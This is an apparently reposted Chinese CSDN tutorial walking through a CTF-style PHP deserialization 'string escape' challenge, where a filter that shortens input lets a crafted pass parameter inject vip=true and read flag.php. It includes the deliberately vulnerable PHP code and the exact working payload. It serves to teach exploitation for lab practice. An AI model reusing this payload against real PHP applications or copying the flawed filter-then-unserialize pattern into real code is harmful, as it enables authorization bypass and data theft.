反序列化字符串逃逸(下篇)

发布时间:2024年01月22日

这里承接上篇文章反序列化字符串逃逸(上篇)-CSDN博客带大家学习反序列化字符串逃逸减少,没有看过的可以先去看看,不会吃亏。

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function?filter($name){
????$safe=array("flag","php");
????$name=str_replace($safe,"hk",$name);
????return?$name;
}
class?test{
????var?$user;
????var?$pass;
????var?$vip?=?false?;
????function?__construct($user,$pass){
????????$this->user=$user;
????$this->pass=$pass;
????}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new?test($param,$pass));
$profile=unserialize(filter($param));

if?($profile->vip){
????echo?file_get_contents("flag.php");
}
?>

还是那个熟悉的三步法:

第一步:先把类写下来正常进行一个反序列化。

这里我先给user,pass随便赋一个值,进行反序列化,如下图:

<?php
class  test{
    var $user = "flag";
    var $pass = "benben";
    var $vip=true;
}
echo serialize(new test());

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
?

第二步:如果变少则判断吃掉的内容。(吃第一个字符串提交到第二个字符串中间的的这个功能性代码”

//在这里flag被替换成hk,字符串减少,会吃掉后面的结构代码,
吃完"s:4:"pass";s:6",就代表 var $pass = "benben"这里的benben是可控的;我的目标代码是"s:3:"vip";b:1;}也就是说我要逃逸这个,所以我要把benben变成"s:4:"pass";s:6"benben";s:3:"vip";b:1;},接下来只要识别到;}这个地方就会反序列化结束,后面的"s:3:"vip";b:1;}自然逃逸成功

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

"s:4:"pass";s:xx"这里会被吃掉,一共19个字符,flag被替换成hk一次搞定两位,必须至少吃10次

,多吃的1加上去就好了。中间要吃掉的变成";s:4:"pass";s:xx:"1(为什么是;s:xx呢?由于benben变了,但是我知道肯定是两位数字符,后面的"s:3:"vip";b:1;}不需要管,只需要数出"s:4:"pass";s:xx"这里会被吃掉,一共19个字符就好)

第三步:算出要逃逸的次数进行复制输出

这里复制10个flag

即user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

接下来就可以拿到flag

希望大家能够有所收获,本文是反序列化字符串逃逸(上篇)-CSDN博客的下文,如果觉得不错,可以把上下篇看完,真心希望我的文章能够帮助大家!

文章来源:https://blog.csdn.net/csjjjd/article/details/135734650
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。